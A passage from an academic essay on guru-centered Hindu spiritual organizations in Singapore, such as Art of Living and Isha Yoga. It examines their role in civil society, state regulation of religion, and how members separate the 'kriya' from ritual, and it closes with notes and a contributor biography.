Echoing an all too common critique, he melds this culture of choice with the twin evils of commodity culture and the ubiquitous popular media, which cannot live in anything but polar opposition to faith. Ward predicts "an increasing polarization between those who talk of spirituality and those who talk of faith":
As religion becomes more culturally pervasive, the more it becomes commodified and the more it becomes in Taylor's term post-Durkheimian. That is, rather than functioning as an integrating factor in the life of a society, religion will develop forms of hyper-individualism, self-help as self-grooming, custom-made eclecticism that proffer a pop transcendence and pamper to the need for "good vibrations." By means of this "spiritualism"—that is sensation hungry and the counterpart to extreme sports—a collection of religious people will emerge (are already emerging) who are unable to tell the difference between orgasm, an adrenalin rush and an encounter with God. (2006, 185)
Ward worries about the fate of democracy in this world of "personal satisfaction" and sees all of this resulting in increasingly conservative boundaries around "faith communities." Here he indicts this all too loose "spiritualism" as an accessory to the coterminous loss of public consciousness and the rise of tightly bounded communities and, hence, fundamentalism.
In spite of all of this academic rhetoric of hyper-individualism and privatization, guru-centered movements function as organizations at the same time that they openly adopt the language of spirituality, eclecticism, and inclusivity. Their websites may offer everything from photos of the guru to CDs, books, and T-shirts, but they also include long lists of the hospitals, schools, and dispensaries built by their gurus as well as relief work and services offered by their communities of devotees. In Singapore the same groups offer numerous social services as part of the government-sponsored development of community self-help organizations in the island nation. Thus the guru-centered organizations join other public service associations in a newly emerging image of a unified secular world that enfolds all such volunteer organizations, including those more often classified by scholars as religious. Sociologists and philosophers of political life name the public space inhabited by these organizations as _civil society,_ and some use the more overarching term _global civil society._
But why place Hindu-based religious organizations into conversation with the ubiquitous but often unwieldy concept of civil society or the evermore debated notion of global civil society? For those of us engaging in the comparative study of religion, the almost breathless references made by policy experts and political theorists to an emerging set of normative values, a new form of worldwide interconnectivity that transcends older universalisms, and new organizational structures that communicate fluently in innovative media cannot be ignored (Walzer 1995; Chambers and Kymlicka 2002). Political philosopher John Keane speaks cautiously but effectively of "global civil society" as "an unfinished project that consists of sometimes thick, sometimes thinly stretched networks, pyramids and hub-and-spoke clusters of socio-economic institutions and actors who organise themselves across borders, with the deliberate aim of drawing the world together in new ways" (2003, 8). In Keane's description of this "new world-view radically different from any that has existed before," he adopts terms with a religious valence, such as _cosmology,_ and considers the role of traditional religious worldviews in the older universalizing visions. However when he outlines the rising "normative ideal" of global civil society, religion recedes as a dominant factor in creating and sustaining these norms.
As a self-confessed historian of religions with an empirical bent, I remain intrigued by Keane's careful description of this seemingly new form of associational life but also take seriously his disassociation of religion from newly emerging global values. Earlier I would have rejected this idea outright; now I see a connection between his almost natural assumption that religion is not the defining factor in the new cultural canopy as well as the shaky concern of religion scholars such as Ward that somehow religion is failing as _the_ integrating factor in society in this so-called post-Durkheimian era. Paul Heelas, in his recent rich refutation of scholars such as Graham Ward, renames these movements "Spiritualities of Life." He argues that for such movements, especially in contemporary Britain, "the sacred is located within the depths of the shared life" and generates "an ethic of humanity" (Heelas 2008, 127).
Certainly within Hindu circles, the lack of church structures, once considered a liability, and the long history of religious movements outside and between the social constructions of the Hindu way of life now ironically open the door for the current upsurge of guru-centered organizations speaking of spirituality. Once suspect as not quite genuine, now in their new global attire as nongovernmental organizations, they command networks of charities, hospitals, and medical colleges that—in cases such as Mata Amritanandamayi, Satya Sai Baba, and the Ramakrishna Missions as well as the newer Art of Living founded by Sri Sri Ravi Shankar and the Isha Yoga Foundation of Sadhguru Jaggi Vasudev1—rival many mainstream institutions in India and abroad. On the national level, established religious institutions still have a prominent voice, but on the immediate micro and macro levels, independently administered spiritual organizations—loosely networked with each other but also with other NGOs—are beginning to dominate globally well beyond the network of diasporic Hindus.
More important, I would argue that these Hindu-based, guru-centered organizations may be more capable of shaping as well as mediating the rising normative values carried by the concept of global civil society in a way that ostensibly mainstream Hindu institutions—traditional monasteries ( _ma ṭha_) and temples—cannot. This is because their organizational structure parallels other actors within this widely acknowledged but loosely organized sphere that includes social, cultural, and economically centered groups. But as "spiritual" organizations, these groups lay claim to effective bodily techniques, "tools to rejuvenate," "to liberate human beings to reach an unbounded state," as the Isha Foundation declares on its website. So while their websites list the many social service projects in which they engage, emphasis always falls on techniques of self-transformation that lead to a widening consciousness of others and the world.
Never naming their bodily practices as rituals, these spiritual organizations offer their practices to the general public as educational courses; instructors teach the _kriya_ as ancient practices compatible with and even proven by contemporary science for verifiable bodily and mental healing. The Art of Living presents its courses as helping practitioners to discover the rhythmic breathing in their bodies and to use "this link between our breath and our emotions to come closer to the rhythm of our natural Being," as the website puts it. Members who undergo these courses pledge to keep the details of the practices confidential, as must I, but all _kriya_ s involve a combination of yoga _ā sana_s (postures), special breathing techniques, chanting, and mediation. Members of these spiritual organizations ideally perform the _kriya_ daily but also come together weekly or monthly for _satsang,_ where the group performs the _kriya_ together, sometimes combining this with personal testaments of deep transformation and listening to talks by the guru in person, on DVD, or via a video link to the main ashram where the guru resides. So by recentering bodily activity from traditional "ritual" actions to the _kriya,_ spiritual movements indeed refocus bodily participation within the individual but in such a way as to relink the person to an emerging community of fellow practitioners and to the world at large.
The recognition of such spiritual groups as moving well beyond privatized experience to a role within civil society could radically shift our understanding of them from proffering cleverly disguised indifferent individualism and crass materialism to offering their members a technique as well as a platform for entering into an evolving global cultural framework that emphasizes belonging but as a function of choice. Spirituality manifests now, as in the past, within growing organizational structures—a welcome point emphasized by Robert Wuthnow (1998, 17)—as many specific studies of devotees and their gurus confirm (Warrier 2005, 59–60; Bryant and Ekstrand 2004) and Max Weber made central to his sociology of religion.
Welcome to Singapore, Inc.
Singapore, Inc., as many residents call it, facilitates rapid work in any field. During my initial research in the summers of 2005 and 2006, with welcome help from Prof. Vineeta Sinha, her graduate advisee Nagah Devi Ramasamy, and other faculty at the National University of Singapore, I discovered numerous organizations and met many officials and devotees of guru-oriented religious movements. I attended a prayer session of one Satya Sai Baba center, discussed charities at another, and met with the directors of their major social services centers. In all, Singapore accommodates fourteen Satya Sai Baba centers in different parts of this city-state of 266 square miles. At the old Arya Samaj building, I witnessed a simplified _homa_ (fire ritual) that marks this early reform movement, a once powerful voice of the Hindu community now in decline. At the simple Amritanandeewari Society Building, I sang along with Singapore devotees of Mata Amritanandamayi at their weekly devotional meeting. The head monk of the firmly established Ramakrishna Mission—housed in a large bungalow-style building with offices, a meditation hall, and quarters for resident monks—took time in his busy day to describe the various activities and charities that the mission administers. In a much less expected space, Sinha took me to meet the couple who founded a recently registered society, the Samayapuram Mariamman Pillaigal (Samayapuram Māriyammaṉ Piḷḷaikaḷ, "children of Samayapuram Māriyammaṉ"), which functions out of their large high-rise condominium at the top of one of the many government-built "estates." A _vim āna_ or large shrine to the goddess Māriyammaṉ fills much of their living room, and an assortment of goddesses, including Kuan-yin (the Buddhist goddess of mercy), sits atop the long credenza near the television.
When I returned to Singapore associated with the excellent Asia Research Institute of the National University of Singapore in 2007–2008, I found that many new organizations had gained popularity. I began to chart numerous guru-centered organizations meeting in business school classrooms, private flats (condominiums), rented cultural halls, and in some cases newly purchased floors within larger commercial complexes, as well as the community centers attached to temples, mostly Hindu but sometimes Buddhist as well. The case of the Māriyammaṉ shrine within a high-rise flat began to seem unremarkable for this globalized city. The high-rise temple inside a living room in many ways typifies the complexities of places accommodating such organizations in Singapore. I witnessed members of another informal group build a mini _homa_ inside a patio-sized hibachi on the seventh-story apartment of another housing complex. In a single-family terrace house in an upscale neighborhood, I joined a group of friends of both Indian and Chinese ethnicity at an informal workshop learning to draw and understand the _chakra_ (mystic diagram). A German woman, a disciple of the rising guru Sri Kaleshwar, instructed us on how to attract and hold the presence of the goddess as Śakti, the powerful creative and healing forces in the universe, within the _chakra._ In addition I attended the basic multiday course for the Art of Living and Isha Yoga, many mediation sessions for a group dedicated to Shivarudra Balayogi, as well as numerous _satsang_ s. Toward the end of my research, I encountered the new Rajayoga Power Transcendental Meditation group in Singapore and crossed into Johor Bahru in Malaysia to attend the "100th Kundalini Awakening" session conducted in person by Yoga Jnana Sitthar Om Sri Rajayoga Guru Saranam, usually called H.D.G. (His Divine Grace).
In all of these cases, some form of ritual seemed to be occurring, but it was understood as a means of self-help and self-development in the context of these newly formed groups, which included people of multiple ethnic and even multireligious heritages meetings weekly or monthly usually within the commercial and residential spaces of Singapore. The confluence between these groups and everyday life permeated their locations and their practices. While in many cases organizations openly chose commercial locations, government policy also ironically pushed spiritual "societies," inadvertently or consciously, toward secular spaces and, as we will see, toward civil spaces and civil society as well.
Ornate alcove for His Divine Grace Jnana Sitthar in the Singapore center of Rajayoga Power Transcendental Meditation. Photograph by the author with kind permission of H.D.G.
The current government inherited and confirmed the practice of the British to keep Hindu temples under government auspices through the Hindu Endowment Board, which continued from the former British administration. No new temples can be built without its approval, which a member of the board explained was now very unlikely because of the acute shortage and expense of land in this small state (also see Sinha 2005a, 31–38). In addition almost all of the land in Singapore is owned by the government and is now leased—as in many parts of the United Kingdom—usually for thirty-year terms, which is too short a time to warrant the major investment that new temple construction would require. So in effect the construction of new temples, which occupies the energy of so many other Hindu communities in the diaspora, remains nearly impossible in Singapore, although many have found ways to reuse and rededicate existing structures (Sinha 2005a, 107–18).
The government regulates not only temples but also all voluntary organizations. My conversations with faculty at the National University of Singapore and administrators of charities began to reveal both the structure and consequences of these policies. While freedom of religion is guaranteed by the constitution, religious organizations are regulated. A Singaporean citizen may worship in any way he or she wants within the privacy of the home. Public religious meetings, door-to-door collections of funds, and processions, however, all require that an organization be officially registered as a "society" with a government agency called the Registry of Societies (ROSES), which until recently was under the Ministry of Community Development, Youth, and Sports, or MCDYS for short. Equally interesting is that, while formal religious organizations such as the temples administered by the Hindu Endowment Board continue under the MCDYS, the Registry of Societies now falls under the Home Ministry, whose major function is the "safety and security" of this city-state. Much of this information is openly available on the massive website of the Singapore government.
In Singapore a prudent self-censoring tends to limit public criticism of the government, which technically is not forbidden except interestingly in connection with religion. A leading member of one charity organization spoke with amazement about the fiery style of preaching he had heard in an African American church in Atlanta, where the president of the United States was openly criticized. This does not happen in Singapore. Thus the familiar mix of political and social critique from the pulpit or _minbar_ does not appear in Singapore, apparently by design. The Maintenance of Religious Harmony Act of 1990 openly constrains "any leader, official or member of any religious group or institution, who causes ill-feelings between different religious groups or who promotes a political cause or carries out subversive activities or who excites disaffection against the President or Government under the guise of propagating or practicing any religious belief," as a pamphlet from the Ministry of Information and the Arts announced (1992, 1). Recently the Declaration on Religious Harmony, "which is a product of a bottom-up consultation process involving all major stakeholders," was posted on the official government website in the form of a pledge of mutual respect and common recognition of "the secular nature of our state" to "thereby ensure that religion will not be abused to create conflict and disharmony in Singapore." With such curbs on religiously inspired political critique, Singapore may paradoxically foster the kind of spirituality that characterizes transnational guru-centered movements rather than official faith organizations. While I was at the National University of Singapore, I attended a lecture by a professor at the National Institute of Education who argued for an alternative to the usual factual presentation of religious traditions in the public schools. She advocated "Spiritual Education (SE) which aims to help students acquire insights into their personal existence which are of enduring worth, attribute meaning to their life experiences, and values a non-material and transcendental dimension to life" (Tan 2007).
Just prior to passing the religious harmony legislation in 1990, the government commissioned a series of studies by the Institute of Policy Studies associated with the National University of Singapore, which surveyed the contours of religion in Singapore, especially changes in religious affiliations. One survey reported the obvious—a "substantial increase in the number of Christians" as well as "persons claiming to have no religious beliefs"—and concluded that young, middle-class, educated persons accounted for both of these trends. The report worried that "if religious belief is seen to be inherently valuable for the moral strength of society, which is a controversial proposition in itself, then this trend of secularization deserves some concern." At the same time, the rise in conversion to Christianity also elicited the following conclusion: "Compared to other religions, Christianity is unique in its active fellowship and activities not directly relating to religion, including social and community service" (Kuo and Quah 1988, 66–71). Research out of Australia during the same period tackled this phenomenon of "religious switching" but concluded that the most significant "switch was among the young Chinese who moved out of their parents' amorphous mass of beliefs and practices" to listing "none" as their religious identity. Hindus and Muslims rarely switched religions, because among the Malay, who are all Muslim, and the Indians, who are largely Hindu, "religion is an integral part of their ethnic or national identities... and the costs of religious switching are high" (Tamney and Hassan 1987, 41). Clearly by the late 1980s religious affiliations were enough in flux to concern the government. At one level the parliament acted to insure that any associated political turmoil—and of course political criticisms—would be checked. But at another level, the "threat" may have shifted the subtle governmental understanding of the nature of mainstream religion as part of community solidity to religions as having a strong potential for civil disruption.
Documenting the changes in government policy and attitudes toward religious organizations would require far more space than is available here (see Sinha 2011). Suffice it to say that any mention of religion, and even specific religions, remains safely buried in an assortment of significant euphemisms on the website of the Ministry of Community Development, Youth, and Sports, which in reality regulates all religious institutions associated with formal religion in the state. Of particular interest is the Social Cohesion subministry, under which is the Registry of Co-operative Societies, whose webpage goes on to outline a distinction between "Co-operative Society and a Society registered under the Societies Act." This difference is not immediately clear except to say that cooperative societies "promote the economic interest of their members," while societies function more like a club or partnership of the type that must now be registered under the Societies Act under the Home Ministry.
Such bureaucratese not so subtly hides an ever-lurking fear of ethno-religious conflict and the loss of secularism—here understood not as a cultural phenomenon but as the cipher for a religiously neutral state system that sharply differentiates this fragile island from the Malaysian mainland just a river's width away. The categories of community relations and cooperative societies interestingly mirror the same descriptive binaries that began this essay: tradition-based identities that—especially in diaspora—equate with ethnic identities and the guru-centered spiritual movements. In Singapore, as in surrounding Malaysia and Indonesia, tradition-based divisions continue to equate with ethno-religious identities, which Sir Thomas Raffles, the founder of modern Singapore, literally designed into the architectural plan of the city. To this day there is a Little India, a Malay quarter, and a Chinatown. All Malays are Muslim, and the state makes conversion out of Islam difficult. Most Indians are Hindu, with a small minority of Muslims. The Chinese, as in many parts of the world, have eclectic temples incorporating Taoist, Confucian, and Buddhist elements. Many Chinese are Christian. The wild cards for many Singaporeans are the spiritual-based, de-ethnicized new religious movements; the government tucks them nicely into societies, which can be religious but are classified like clubs rather than temples.
The Culture of Consumption
An overarching secular but nonetheless value-laden ideology of harmonious, albeit distinct, ethno-religious communities ( _communities_ appears always in the plural) touting abundant volunteerism and charity with vigorous youth and happy elders shines like the sun in all official websites meant for internal and external consumption. Seeing Singapore after more than a three-decade interval, I confess my own astonishment at how closely this ideal comes to my experience of this refashioned metropolis. The realization of this ideal rests within a "culture of consumption," as sociologist Chua Beng Huat argues in _Life Is Not Complete without Shopping_ (2003)—a motto close to my heart and my favorite form of participant observation with Singaporeans most Saturdays in the many spectacular malls. Moreover an entire essay could be devoted to these malls as "sacred spaces" to parallel Ira G. Zepp's study of shopping malls as ceremonial centers in America. However for this essay the position of shopping as something more than a national pastime even for the government points to consumerism as a culture in its own right and with its own rites. A direct connection between shopping and the bodily practices of new guru-centered movements becomes too shadowy to prove. However testimonies during _satsang_ s and declarations on the websites and in the gurus' sermons especially for Art of Living and Isha assert that the performance of the _kriya_ ensures health, better performance at work, and, by inference, worldly as well as spiritual success. For a new group, Rajayoga Power Transcendental Meditation, the connections are explicit even to the point of teaching visualization techniques to imagine moving up to a better automobile and a better house. In this case the meditations do not promise the car but rather to "awaken the power in you," as Yoga Jnana Sitthar, His Divine Grace, explained ("Kundalini Awakening" session, May 4, 2008). The practices transform the practitioner's mental and energy to enable such success.
Saturday shoppers crowd the stunning ION center on Orchard Road. Photograph by Dick Waghorne.
Chua takes the phrase "Life is not complete without shopping" from a 1996 National Day Rally speech of the prime minister. "The People's Action Party (PAP) that governed Singapore without break since 1959 is driven by pursuit of national economic growth. And the record has been nothing short of impressive. This is its 'performance' principle and singular claim to legitimacy to rule. It will go to all lengths, including curtailing conventional democratic rights and practices, to 'deliver the goods' to the people. In this sense, the PAP is singularly motivated to improve the material life of Singaporeans through the expansion of material consumption" (2003, 3). In an earlier study, _Communitarian Ideology and Democracy in Singapore,_ Chua outlined the government's foray into and subsequent failure at social engineering through "Confucianisation," which would seem a return to religious sensibilities. However, according to Chua, the People's Action Party repackaged the same unrelenting model of strong economic development under the widely held theory that Confucianism was the locus "of ascendancy of Asian capitalism" (1995, 151). This idea accords with a number of American communitarians who noted a similar phenomenon during the rapid rise of the "little tigers" of Taiwan and Singapore in the 1980s and later by theorists of alternative visions of civil society (see, for example, Madsen 2002). The current, cheerful website of the MCDYS appears to be a de-Confucianized version of those reworked "Confucian" values. An official teacher's guide to Confucian ethics published during the Confucianizing campaign in the mid-1980s listed as instructional objectives "To show pupils how the Confucian cultural tradition can help to promote harmony and stability" and "To show students how the Confucian cultural tradition can contribute towards the economic, political, and cultural development of Singapore" (Curriculum Development Institute 1986, 95). So when the government gave up social engineering via a Confucian model, they turned to more neutral secular language but retained a Singaporean cultural ethos in which, as the prime minister's speech so clearly implied, shopping is the secular rite of Singapore and material success its creed.
There are some interesting curves in the case of Singapore that deserve attention, lest we travel a straight path from faith to self-indulgent spiritualism. Singapore's state policies position guru movements in the almost classic language of "civil society," while the much-used American term "faith communities" translates more readily into family, ethnicity, and bounded communities that must be tamed into useful self-help organizations. As such the latter are only tangentially part of civil society, since, unlike the classic definition, these do not meet the assumption of voluntary membership always connected with associational life. Once outside the bounds of American religious sensibilities and American political history, a citizen's primary religious connection no longer equates with choice. _Faith_ as a code word for _religion_ becomes an exceptionally inadequate term. This is mirrored even in Christian conversions, since the most successful churches are independent evangelical associations that resemble the organizational structure of new religious movements rather than that of mainstream churches (Wolffe 2002). Returning a moment to Ward's essay mentioned above, outside the United States—and I am not willing to cede the inside so easily—the building of new service-oriented, humanity-centered communities belongs not to the birthright ethno-religious traditions (or "faiths") but to many spirituality-touting, guru-adoring, this-worldly new religious organizations.
The processes of de-ethnization in the guru-centered organization, then, mirror the cultural and governmental logic of Singapore: religion equals bounded ethnic communities into which citizens are born, while spirituality opens into a voluntary associational life, which Singaporeans freely choose to join. Individuals join associations as free agents but are then reoriented via the _kriya_ to openness to and success in the larger secular sphere but also to concern for the greater good. I heard constant references to the inner life, to the personal act of choosing, to openness to all, and to service to society as a natural consequence of service to the divine guru or to a deeply held sense of the unity of the world. Swami Muktirupananda, president of the long-established Ramakrishna Mission, eloquently articulated the interconnection of inner spirituality, service, and the unity of humankind. When I asked about the mission's service activities, he began with the orphanage and school. While these serve the Indian community, the mission's yoga classes draw widely from all sections of Singapore society. I asked why yoga was so popular and brought so many different peoples together. Muktirupananda responded that yoga offers "mastery of your own self." The mind and body are connected, and yoga can bring "rest for the mind" because "the mind is made up of matter." When I asked about God, he answered, "Leave God aside. The goal of humans is happiness and peace of mind. Everything is inside us and us only... . When the mind is transparent, you understand your own being... . Religion means within us." I asked about current attempts to define Hinduism within Indian ethnicity. He denied that the mission was for Hindus only. "Human beings everywhere in the world are important to us." He emphasized in his terms that Vivekananda (1863–1902), who founded the mission in 1897, "was a universalist" and went on to say that there are now more than a thousand monks around the world, many of whom are Jews or Muslims and Christians by birth, "so we cannot discriminate." Finally I also asked about ritual. "Ritual only creates the mood but it is not the end. It's just like toys for a child" (personal interview, July 15, 2005).
Note the string of connections in Swami Muktirupananda's explanations: he relegated both ethnicity and ritual to a less advanced understanding of the religious-spiritual impulse. I found the same set of associations in a series of intense encounters and interviews with leaders of the Art of Living that brought into sharp focus the issues of self-centeredness, group consciousness, service, and the subtleties of de-ritualization in the context of de-ethnization. Indian followers of Sri Sri Ravi Shankar (usually called "Guruji" by his followers) registered Art of Living (AOL) as a society with the government in the mid-1990s. The society grew in popularity in 2008 especially among newer émigrés from India to Singapore and Singaporean Chinese, who likewise were mainly professionals. The Indian high-tech city of Bangalore houses the main AOL ashram for the globally popular Guruji, who recently celebrated the silver anniversary of the Art of Living. In downtown Singapore I completed the basic course in Art of Living with four other people: a young expat American, an Australian of Thai-Chinese heritage, a German woman married to a Malay Muslim, and an Indian engineer who had studied AOL in India. Our teacher, Vijay, a Singaporean lawyer of Indian ethnicity, introduced this diverse group to Guruji's special form of yoga, breathing exercises, and practical teachings by using Hindu-derived terms intertwined with psychological and ethical discourse. This downtown center of AOL, a large room occupying a floor in a characterless commercial building across the street from a fashionable shopping center, had a small photo of Guruji but no other marks of sacrality. Signs for follow-up sessions were posted on the walls in English and Chinese. A large poster announced the special birthday celebrations for Guruji to be held the following week.
Now duly initiated into Sudarshan Kriya, the main yogic practice of AOL, I was able to attend and participate fully in the birthday celebrations of Sri Sri Ravi Shankar and was kindly given permission to photograph. Held at the auditorium of the Chinese Chamber of Commerce, this exuberant celebration included a group session of the _kriya_ with more than one hundred people participating in the yoga and breathing practices together. Devotional songs followed, a birthday cake and balloons appeared, and some happy dancing erupted among the Chinese and Indian followers. A large garlanded photo of Guruji sat at the end of the stage flanked by bronze images of female guardians with flower vases in front, burning josh sticks, and baskets of coconuts and fruit. At the end of the celebration, some came to this seeming altar to receive flowers and fruit from the woman in charge of the event. To my eye these activities gave the appearance of ritual with the offerings and then the receiving of seemingly sanctified food. However I now realize that these activities did not conform to traditional ritual in the sense that this spiritual movement understands the term: no proper priest officiated, only a volunteer. All events, moreover, happened as the faces of numerous successful Chinese business-oriented families gazed out from huge photos on the back wall of this chamber of commerce.
Woman takes _prashad_ (sanctified food) at the end of a birthday celebration for Sri Sri Ravi Shankar. Photograph by the author.
The following week I met with Shail, one of the founding members of AOL, at another Art of Living center on the third floor of a business complex. Anxious to ask questions about the implicit ritual in AOL as well as the reason for the emphasis on group _kriya,_ I noticed that an altar was set up on the demonstration platform in this sparse, industrial-sized room and immediately concluded that this was Shail's doing. I was wrong. During the interview, as we discussed the ritual elements in AOL, she mentioned that some of the Chinese members had set up this altar, and she hated to hurt their feelings by taking it down, although she felt that such rituals can turn many people away from the meditations—she spoke of Christians, especially Protestants, being uncomfortable with such displays. These days she sees fewer Muslims at her center and especially worries about their reactions, since most people take the yoga course for "peace of mind and health" and not for _jñ āna_ (philosophical knowledge) or even _bhakti_ (devotion). When I looked at the altar more closely, she was right: someone had garlanded the picture of Guruji, placed the framed picture on a small white eyelet cloth, and added a golden bowl filled with grapes and a candle in front of it—mixing Indian, Chinese, and English styles.
I learned much from Shail, especially about who came to Art of Living and under what conditions. According to her, her chapter of AOL does not attract many Singaporean Indians but rather a lot of Singaporean Chinese. Those Indians active in AOL are mostly professional "expats," in her words, while the Chinese come from all classes and seem to enjoy the meditation and regularly attend follow-up sessions. She felt that the long-settled Singaporean Indians, mostly Tamil, were "ritualistic" and tended to confine their religious practice to temples. We talked about such migrants being "stuck" in the time that they left India, while the expat Indians are far more "modern." She remained concerned that AOL did not foist Hindu ritual practices on those who came for mediation and advises other teachers to be sensitive to the religious backgrounds of those who come. Because of her own education in Catholic schools, she admitted that she always feels secure when communicating with Christians in her classes. However when a group of Hindu followers wanted to offer a special guru _p ūjā_ (devotional ritual) for Sri Sri Ravi Shankar immediately preceding his general birthday celebrations, she was concerned that only those who were comfortable with this kind of ritual be invited. In the end she also invited some Chinese whom she knew would be comfortable with these rituals. She invited "only those who are interested in it, who believe in it," because everyone identifies his or her guru in different forms. Shail personally does _p ūjā_ daily at home and attends temples but understands her AOL practices to strike another chord. For her separating rituals from meditation means opening the practice beyond those who identify as Hindus.
In a series of e-mail conversations with my instructor, Vijay, I pressed this issue of the relationship between ritual and Art of Living. Her answers were even more pointed than were Shail's, but she cautioned that these were her opinions only and not official Art of Living pronouncements. Vijay understood the practice of Sudarshan Kriya as distinct from temple rituals in important ways. The _kriya_ "is a rhythmic breathing technique that cleanses the system of negative emotions—long buried emotions—depending on which religion a person subscribes to—even seeds of past karma. In addition we are bombarded with negative emotions... stress at work, people telling me their problems, economic stress—what is happening to the world with its political turmoil, economic slowdown and natural disaster—how do we get rid of it?" Vijay went on to argue that, to take care of this residue of troubles, many people either go to a temple and let the priest intercede with God or, as in her case,
some people do rituals in the temple... and believe that performing these rituals gets rid of the negative energy that is affecting them. When I do the _kriya_ I find my own strength to overcome the obstacles in life, and I have faith that whatever is happening—good or bad—is happening for my growth... . I believe in this power called God, but somehow I feel that he wants me to chart my own path in life—he will be there for me, will give me strength but he won't do things for me—spoon-feeding—he does not do that. Temple rituals may not give people the strength that the _kriya_ gives because I feel that it makes people think that once they have done the ritual, God takes care of things and they just sit back and relax. But believe me, the faith I have in God now is much stronger than before, and I'm beginning to understand my own religion better; and if I want to take time to understand rituals performed, I can, but it's just that they are not as important now. (personal interview, May 27, 2008)
Although Shail and Vijay place different values on temple rituals, they both distinguish between the functions and effect of the _kriya_ and of rituals, locating each in a different domain. _Kriya_ creates a space of peace and well-being, of stress-free living, of personal involvement and empowerment. For Vijay ritual was the province of priests in traditional temples, while Shail included her own daily _p ūjā_ at home. For both, moreover, the _kriya_ is a generally available practice outside of specific religious identities. For Shail mixing in too many Hindu-style or even Chinese-style rituals could lead to turning away sincere practitioners who either want meditation without any religious sentiment or who do not wish to have any clash between their religious commitments and these practices. For her Sudarshan Kriya operates outside of these identities and in another space.
But for all of their language about self, both of these Art of Living leaders emphasize that _kriya_ practices were far more powerful when done in a group. AOL practice enjoins members to come together once a week for the "Long Kriya" and schedules these sessions on different days throughout their centers in Singapore. Vijay explained: "The Long Kriya cleanses not only the body, but also the environment—it releases positive ions into the environment. Hence when done collectively, it releases positive energy into the environment. It's like the concept of meditation—when a religious group wants to do meditation for things like world peace, etc., the larger the group the better, because the positive energy created is much higher than when one or two individuals do the meditation. Same principle applies—just that [in AOL] we do it every week" (personal interview, May 27, 2008). So for Vijay the Long Kriya becomes a personal, social, and cosmic event with very real benefits for both the practitioners and the world.
Conclusion
One major lesson that Singapore teaches is that, along with the careful, consciously constructed space of this global city, pluralism as a (supposedly enlightened) recognition of discrete faiths was part of its initial design, but it was never associated with the overall cultural framework of the whole. As in the pre-European traces of the city, the common framework and overarching worldview, the "canopied civilizational identity" (Hefner 2001, 42), was never associated with any single religion—or with religion at all, since commonality flowed from shared lifestyles, language, and "permeable ethnicity" (Hefner 2001, 13). The government of Singapore has made forays into this kind of social engineering through the "Confucianisation" that Chua describes, but in the end the overarching values retain a strong nationalism coupled with a relentless pursuit of economic growth, which continue to be linked to the values of close cooperation of communities and families in this joint enterprise. Singapore as a state seems to act seriously on near textbook models of religion and religions. The government assumes bounded ethnic identities closely connected to religious affiliation—at least in the case of the minority communities of Malays and Indians. In Singapore, and in the entire region, religion remains so embedded in ethnicity that Robert Hefner (2001) uses the term _ethnoreligion_ throughout his insightful introduction to "the politics of multiculturalism" in the region. The government also assumes that ethnoreligious identities are tinderboxes unless carefully circumscribed in the language of communities. To return to the MCDYS website, the online application to register as a society includes a final page that is telling. The proposed society must attest to several conditions, among which is that the society "is not intended to represent, promote any cause or interest of, or discuss any issue relating to, any religion, ethnic group, clan, nationality, or class of person by reference to their sexual orientation" and "is not intended to represent persons who advocate, promote, or discuss any issue relating to any civil or political rights (including humans rights, environmental right and animal rights)" (see "Registry of Societies: Step-by-step Guidelines for Online Registration of a New Society"). Spiritual organizations may indeed parallel many of the markers of civil society organization in their volunteerism and their inclusivity but not as organized citizens voicing grievances on religious or indeed any other grounds. The state becomes the umbrella—the canopy—under which all else operates. This may be one of the more relentlessly secular visions in the world, yet at the same time, good order, moral behavior, and a caring community are enveloped in its vision.
Singapore remains heir to these ethno-religious borders and ironically works within them with caution. Religion does not now, nor indeed ever did, provide the cultural canopy that oriented this society. Whatever overarching values hold citizens together, they must remain secular—which in Singapore comes very close to the sense of spiritual values that many guru-centered movements enjoin. In Singapore these movements complement the formation of a new "sacred canopy" presented in the rhetoric of secularity not religion. Moreover Singapore's spiritual movements (in their openly global connections, they are all transnational groups) flow with the emerging nature of global civil society. In a suggestive description of "the sacred canopy of Global Civil Society," this theme of a moral economy as the umbrella culture appears.
World culture thus is a rational, moral project of value attainment, a "modern" project over which there is much conflict. It is millennial in the sense that the groups involved are oriented to a future good society. It is this-worldly or naturalistic because ultimate authority is located in humanity (the individual and society), not in God or the super-empirical. This project is not neutral vis-à-vis religions even as religions are practiced within it and must engage it. Because it has a diffuse moral nature, world culture competes with religions for providing the moral ground to public and private life, and thus much conflict takes religious forms. (Thomas 2001, 517)
In this region of the world, then, religion guarantees neither public order nor public cohesion beyond the bounded forms usually closely associated with ethnic groups. In this context rituals also are circumscribed with boundaries. Indians belonging to new spiritual groups in Singapore may continue to perform ritual, but only as a Hindu practice embedded within their heritage. Shail may do _p ūjā_ and the _kriya,_ each in its prescribed form daily, but she, and many others, would never apply the term _ritual_ to the latter practice. Ritual is religion, the _kriya_ is spirituality; the former is for Hindus, the latter for the world.2 Thus de-ethnization requires de-ritualization. And for ritual studies this means that the field must listen to these important tones in terminology, for they signal the rise of global secular values within which actions we would call ritual are understood as scientific, universal, and therefore widely applicable to daily human problems—the stress and competition of a rapidly consumer-driven, technology-centered globalizing world. The new "sacred canopy" may indeed compete with religions, but most of the new spiritual movements of Singapore sit comfortably under its shade, adding a spoke here and a patch there and perhaps ultimately redesigning its very structure.
**Notes**
1. In Singapore there are four official languages, but English remains the language of business, education, and most public discourse. For proper names diacritics are rarely used. In this essay I have maintained the spelling of persons, organizations, and place names as they appear in published English works in Singapore. For the names of deities and other Tamil or Sanskritic terms, I revert to the standard transliteration.
2. I received an email announcing "Bhairagini Maa from the Linga Bhairavi temple in Isha Yoga Centre, to conduct a Devi Darshan process here in Singapore" (May 15, 2014). Sadhguru Jaggi Vasudev built a major temple complex at his ashram in Coimbatore and now has offered new rituals to his Ishas, often of his own creation. In the last year, other guru-centered organizations have also re-ritualized, which I will discuss in forthcoming work.
References
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## CONTRIBUTORS
**Elizabeth Fuller Collins** is professor of Southeast Asian studies in the Department of Classics and World Religions at Ohio University. She is the author of _Pierced by Murugan's Lance: Ritual, Power, and Moral Redemption among Malaysian Hindus_ (1997), _Indonesia Betrayed: How Development Fails_ (2007), and articles on Islamic movements in Indonesia. She is currently working on a book titled "Ritual and Rule: Religion in Southeast Asia," a historical overview of the religious traditions that have played a major role in shaping the political institutions and societies of the region.
